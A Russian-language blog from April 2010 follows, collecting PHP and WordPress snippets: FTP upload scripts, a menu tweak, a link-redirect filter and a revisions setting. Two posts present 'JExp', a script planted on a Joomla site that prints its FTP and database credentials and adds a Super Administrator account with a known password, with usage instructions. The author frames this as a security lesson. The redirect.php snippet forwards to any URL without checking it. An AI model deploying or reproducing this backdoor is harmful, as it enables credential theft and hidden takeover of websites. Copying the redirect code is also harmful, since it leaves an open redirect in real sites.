15 апреля 2010 Нет комментариев
  1. <?php
  2. $host = "hostname";
  3. $connect = ftp_connect($host);
  4. if (!$connect)
  5. {
  6.    echo "connect fail<br/>";
  7. }
  8. else
  9. {
  10.    echo "connect ok<br/>";
  11. }
  12. $user = "username";
  13. $password = "some_pass";
  14. $result = ftp_login($connect, $user, $password);
  15. $dir = ftp_pwd($connect);
  16. echo $dir."<br/>";
  17. define('PATH', 'md/*.');
  18. foreach (glob(PATH.'txt') as $local_file)
  19. {
  20.    $files_array[$local_file] = filemtime($local_file);
  21. }
  22. asort($files_array);
  23. $keys = array_keys($files_array);
  24. $upl_file = array_pop($keys);
  25. $remote_file = "remote.txt";
  26. if (ftp_put($connect, $remote_file, $upl_file, FTP_BINARY))
  27. {
  28.    echo "upload ok<br/>";
  29. }
  30. else
  31. {
  32.    echo "upload fail<br/>";
  33. }
  34. ftp_quit($connect);
  35. ?>
Categories: PHP Tags:
15 апреля 2010 Нет комментариев
  1. <?php
  2. $host = "hostname";
  3. $connect = ftp_connect($host);
  4. if (!$connect)
  5. {
  6.    echo "connect fail<br/>";
  7. }
  8. else
  9. {
  10.    echo "connect ok<br/>";
  11. }
  12. $user = "username";
  13. $password = "some_pass";
  14. $result = ftp_login($connect, $user, $password);
  15. $dir = ftp_pwd($connect);
  16. echo $dir."<br/>";
  17. $od = opendir('md');
  18. while ($local_file = readdir($od))
  19. {
  20.    if ($local_file != "." && $local_file != "..")
  21.    {
  22.       echo $local_file."<br/>";
  23.       $upl_file = "md/".$local_file;
  24.       $remote_file = "remote_".$local_file;
  25.       if (ftp_put($connect, $remote_file, $upl_file, FTP_BINARY))
  26.       {
  27.          echo "upload ok<br/>";
  28.       }
  29.       else
  30.       {
  31.          echo "upload fail<br/>";
  32.       }
  33.    }
  34. }
  35. $cl = closedir($od);
  36. ftp_quit($connect);
  37. ?>
Categories: PHP Tags:
14 апреля 2010 1 комментарий

По функциональности ничем не отличается от JExp 0.1, но реализовано более правильно.

  1. <?php
  2. function GetParam($arg) {
  3.    global $exp;
  4.    $show = $exp->$arg;
  5.    return $show;
  6. }
  7. function PrintParam($arg) {
  8.    print("<b>".$arg.":&nbsp;</b>".GetParam($arg)."<br/>");
  9. }
  10. if ($_SERVER["QUERY_STRING"] == $_SERVER["HTTP_HOST"]) {
  11.    include "configuration.php";
  12.    $exp = new JConfig();
  13.    echo "<h3>ftp configuration</h3>";
  14.    PrintParam('ftp_host');
  15.    PrintParam('ftp_user');
  16.    PrintParam('ftp_pass');
  17.    echo "<h3>mysql configuration</h3>";
  18.    PrintParam('host');
  19.    PrintParam('user');
  20.    PrintParam('db');
  21.    PrintParam('password');
  22.    PrintParam('dbprefix');
  23.    echo "<form action='' method='post'><input type='submit' value='add superadmin' name='au' /></form>";
  24.    if ($_POST['au'] != null) {
  25.       $here_we_go = mysql_connect(GetParam("host"), GetParam("user"), GetParam("password"));
  26.       $select_db_query = mysql_select_db(GetParam("db"), $here_we_go);
  27.       $new_username = "username02";
  28.       $new_fullname = "UserName";
  29.       $new_pass_hash = "0c351ddbe5c2e39bae0238901468c0b5:B0peDjABSuno3ZBsBVJjVn6V7Y8VETCF";
  30.       $jos_users_query = mysql_query("
  31.          INSERT INTO jos_users
  32.          (name, username, email, password, usertype, block, sendEmail, gid, registerDate)
  33.          VALUES
  34.          ('".$new_fullname."', '".$new_username."', '".$new_username."@example.com', '".$new_pass_hash."', 'Super Administrator', '0', '1', '25', NOW())
  35.          ", $here_we_go);
  36.       $jos_core_acl_aro_query = mysql_query("
  37.          INSERT INTO jos_core_acl_aro
  38.          (section_value, value, order_value, name, hidden)
  39.          VALUES
  40.          ('users', LAST_INSERT_ID(), '0', '".$new_fullname."', '0')
  41.          ", $here_we_go);
  42.       $jos_core_acl_groups_aro_map_query = mysql_query("
  43.          INSERT INTO jos_core_acl_groups_aro_map
  44.          (group_id, aro_id)
  45.          VALUES
  46.          ('25', LAST_INSERT_ID())
  47.          ", $here_we_go);
  48.       echo "added superadmin - ".$new_username.":qwerty";
  49.    }
  50. }
  51. else {
  52.    echo "unauthorized access!";
  53. }
  54. ?>
Categories: CMS Tags: ,
14 апреля 2010 Нет комментариев

Актуальная версия скрипта: JExp 0.2
Информация исключительно для того, чтобы понимать необходимость защиты сайта от доступа к файловой системе. Скрипт, используя конфигурационный файл joomla, выводит на экран интересующие нас параметры доступа к сайту, а также позволяет удаленно добавить пользователя в группу Super Administrator.

  1. <?php
  2. if ($_SERVER["QUERY_STRING"] == $_SERVER["HTTP_HOST"]) {
  3.    include "configuration.php";
  4.    $exp = new JConfig();
  5.    function PrintParam($arg) {
  6.       global $exp;
  7.       $arg_ans = $exp->$arg;
  8.       print("<b>".$arg.":&nbsp;</b>".$arg_ans."<br/>");
  9.    }
  10.    echo "<h3>ftp confuguration</h3>";
  11.    PrintParam('ftp_host');
  12.    PrintParam('ftp_user');
  13.    PrintParam('ftp_pass');
  14.    echo "<h3>mysql configuration</h3>";
  15.    PrintParam('host');
  16.    PrintParam('user');
  17.    PrintParam('db');
  18.    PrintParam('password');
  19.    PrintParam('dbprefix');
  20.    echo "<form action='' method='post'><input type='submit' value='add superadmin' name='au' /></form>";
  21.    if ($_POST['au'] != null) {
  22.       $connect = mysql_connect($exp->host, $exp->user, $exp->password);
  23.       $db_select = mysql_select_db($exp->db, $connect);
  24.       $new_username = "username02";
  25.       $new_fullname = "UserName";
  26.       $new_pass_hash = "0c351ddbe5c2e39bae0238901468c0b5:B0peDjABSuno3ZBsBVJjVn6V7Y8VETCF";
  27.  
  28.       $add_query = "INSERT INTO jos_users
  29.          (name, username, email, password, usertype, block, sendEmail, gid, registerDate)
  30.          VALUES
  31.          ('".$new_fullname."', '".$new_username."', '".$new_username."@example.com', '".$new_pass_hash."', 'Super Administrator', '0', '1', '25', NOW())";
  32.       $add_action = mysql_query($add_query, $connect);
  33.  
  34.       $jos_core_acl_aro_SQ = "SELECT id FROM jos_users WHERE username='".$new_username."'";
  35.       $jos_core_acl_aro_SA = mysql_query($jos_core_acl_aro_SQ, $connect);
  36.       $jos_core_acl_aro_SR = mysql_fetch_array($jos_core_acl_aro_SA, $connect);
  37.       $jos_core_acl_aro_ID = $jos_core_acl_aro_SR[0];
  38.  
  39.       $jos_core_acl_aro_IQ = "INSERT INTO jos_core_acl_aro (section_value, value, order_value, name, hidden) VALUES
  40.       ('users', '".$jos_core_acl_aro_ID."', '0', '".$new_fullname."', '0')";
  41.       $jos_core_acl_aro_IA = mysql_query($jos_core_acl_aro_IQ, $connect);
  42.  
  43.       $jos_core_acl_groups_aro_map_SQ = "SELECT id FROM jos_core_acl_aro WHERE name='".$new_fullname."'";
  44.       $jos_core_acl_groups_aro_map_SA = mysql_query($jos_core_acl_groups_aro_map_SQ, $connect);
  45.       $jos_core_acl_groups_aro_map_SR = mysql_fetch_array($jos_core_acl_groups_aro_map_SA, $connect);
  46.       $jos_core_acl_groups_aro_map_ID = $jos_core_acl_groups_aro_map_SR[0];
  47.  
  48.  
  49.       $jos_core_acl_groups_aro_map_IQ = "INSERT INTO jos_core_acl_groups_aro_map (group_id, aro_id) VALUES
  50.       ('25', '".$jos_core_acl_groups_aro_map_ID."')";
  51.       $jos_core_acl_groups_aro_map_IA = mysql_query($jos_core_acl_groups_aro_map_IQ, $connect);
  52.  
  53.       echo "added superadmin - ".$new_username.":qwerty";
  54.    }
  55. }
  56. else {
  57.    echo "unauthorized access!";
  58. }
  59. ?>

Использование:
include "configuration.php"; — путь к файлу в зависимости от того, где в файловой системе находится скрипт.
Параметры нового пользователя, а именно логин, полное имя, e-mail и т.д. указываются в тексте скрипта. Там, кажется, все понятно.
Пароль указан в том формате, в котором его хранит Joomla. В примере указан хэш пароля qwerty, изменить его можно уже из админки. Ну или же создать где-нибудь у себя пользователя и скопировать хэш из phpMyAdmin.
В браузере GETом передаем скрипту имя сервера, ну что-то вроде защиты от случайного использования, наверное можно придумать что-то интереснее.

Categories: CMS Tags: ,
11 апреля 2010 Нет комментариев

1. Скачиваем файлы lavalamp.js и lava.gif.
2. В папке с темой: lavalamp.js копируем в папку js. lava.gif копируем в папку img.
3. В header.php после того как подключили jquery:

<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/js/lavalamp.js"></script>
<script type="text/javascript">
jQuery(document).ready(
	function(){
		jQuery(function() {
			jQuery("#menus").lavaLamp({fx:"backout", speed:700})
		});
	}
)
</script>

4. В templates/header.php удаляем:

<li><a class="lastmenu" href="javascript:void(0);"></a></li>

5. В js/menu.js изменяем:

activate: function() {
   if(this.sub == 1) {
      var pos = currentOffset(this.title);
      var top = pos[1] - 1;
      var left = getWidth(this.body) - 2;
      if (this.align == 'right') {
      var left = getWidth(this.body) * (-1);
      }
   } else {
      var pos = cumulativeOffset(this.title);
      var top = pos[1] + getHeight(this.title);
      var left = pos[0];
      if (this.align == 'right') {
         left += getWidth(this.title) - getWidth(this.body);
      }
   }
   if(!/current/.test(this.title.className)) {
      this.title.className += ' current';
   }
   setStyle(this.body, 'left', left + 'px');
   setStyle(this.body, 'top', top + 'px');
   setStyle(this.body, 'visibility', 'visible');
}

на:

activate: function() {
	this.title.className += ' current';
 
	var pos = cumulativeOffset(this.title);
	var left = pos[0];
	if (this.align == 'right') {
		var offset = getWidth(this.title) - getWidth(this.body) + this.offset;
		left += offset;
	}
	var top = pos[1] + getHeight(this.title);
 
	if(this.offset == -1) {
		var pos2 = cumulativeOffset(document.getElementById('navigation'));
		left -= pos2[0];
		top -= pos2[1];
	}
 
	setStyle(this.body, 'left', left + 'px');
	setStyle(this.body, 'top', top + 'px');
	setStyle(this.body, 'visibility', 'visible');
	setStyle(this.body, 'opacity', this.opacity);
	setStyle(this.body, 'MozOpacity', this.opacity);
	setStyle(this.body, 'KhtmlOpacity', this.opacity);
	setStyle(this.body, 'filter', 'alpha(opacity=' + this.opacity * 100 + ')');
 
	if(this.tid) {
		clearTimeout(this.tid);
	}
	this.tid = setInterval(bind(this, this.appear), 20);
}

5. В style.css удаляем все стили, содержащие #menus и добавляем:

#menus {
	position:relative;
	padding-left:10px;
	float:left;
}
#menus li {
	float:left;
	display:inline;
	list-style:none;
}
#menus li a {
	position:relative;
	color:#382E1F;
	height:30px;
	line-height:30px;
	padding:0 20px;
	text-decoration:none;
	font-size:11px;
	float:left;
	z-index:10;
	text-align:center;
}
#menus li.current_page_item a {
	font-weight:bolder;
}
#menus li.back {
	background:url(img/lava.gif) no-repeat right bottom;
	height:30px;
	position:absolute;
	z-index:8;
}
#menus li.back .left {
	background:url(img/lava.gif) no-repeat left top;
	height:30px;
	margin-right:9px;
	float:none;
}
#menus li ul {
	display:none;
	background:#F4F5F7;
	border:1px solid #CCC;
	border-top-color:#A6A6A6;
	padding:0 5px;
}
#menus li li {
	float:none;
	margin:0 !important;
	margin:0;
	padding:0;
	display:block;
	list-style:none;
}
#menus li li a {
	float:none;
	display:block;
	padding:7px 5px;
	text-decoration:none;
	width:200px;
	border-style:solid;
	border-color:#DDD;
	border-width:1px 0 0;
	margin:0;
	background-image:none;
	height:auto;
	line-height:145%;
	color:#999;
	text-align:left;
}
#menus li li.first a {
	border-top:none;
}
#menus li li a:hover {
	color:#382E1F;
}

Для других тем как-то по аналогии.

Categories: CMS Tags:
9 апреля 2010 1 комментарий

1.В используемой теме редактируем файл functions.php. Дописываем:

<?php
function preg_callback2($matches) {
  $url = explode(':', $matches[2]);
  if (($url[0] == 'http') || ($url[0] == 'https')) {
    $need = "http://krylov.org.ua";
    $replace = "http://krylov.org.ua/redirect.php?";
    if (substr($matches[2], 0, strlen($need)) != $need) {
      $matches[2] = $replace.$matches[2];
    }
  }
  return $matches[1].$matches[2].$matches[3];
}
 
function removeLinks($content) {
  if (! is_feed()) {
    $content = preg_replace_callback('@(]*href=")([^>\"]*)("[^>]*>)@i', "preg_callback2", $content);
    $content = preg_replace_callback('@(]*href=\')([^>\"]*)(\'[^>]*>)@i', "preg_callback2", $content);
  }
  return $content;
}
 
add_filter('the_content', 'removeLinks');
add_filter('comment_text', 'removeLinks');
add_filter('get_comment_author_link', 'removeLinks');
add_filter('get_comment_author_url_link', 'removeLinks');
add_filter('comment_url', 'removeLinks');
add_filter('wp_list_bookmarks', 'removeLinks');
?>

wp_list_bookmarks — функиция, используемая для отображения ссылок из blogroll, если вы используете другую функцию замените на другое значение.
2. Содержание файла redirect.php, который помещаем в корень сайта:

<?php
$uri = "";
if (array_key_exists("QUERY_STRING", $_SERVER)) {
  $uri = $_SERVER["QUERY_STRING"];
}
header("Location: ".$uri);
?>

3. Запрещаем индексирование обрабатываемых ссылок поисковиками. В robots.txt в корне сайта пишем:

User-Agent: *
Disallow: /redirect.php

4. Чтобы в браузере ссылки выглядели как обычно после открытия <body> подключаем jquery и следующий js-скрипт:

$(document).ready(function(){
  $("a").each(function(i){
    var remove_str = 'http://krylov.org.ua/redirect.php?';
    var str = this.href.substring(0, remove_str.length);
    if (str == remove_str) {
      this.href = this.href.substring(remove_str.length);
    }
  });
});
Categories: CMS Tags: , ,
9 апреля 2010 2 комментария

По умолчанию в WordPress после каждого изменения записи, в таблице wp_posts остается предидущая версия со значением поля post_typerevision, чтобы автор имел возможность в любой момент откатитья до любой версии записи. Если такая функция не нужна, для отключения в wp-config.php дописываем:

define('WP_POST_REVISIONS', false);

или

define('WP_POST_REVISIONS', 2);

где 2 — количество ревизий.
После отключения, созданные ранее ревизии прийдется удалить вручную, для этого выполнить SQL-запрос:

DELETE FROM wp_posts WHERE post_type='revision'
Categories: CMS Tags: ,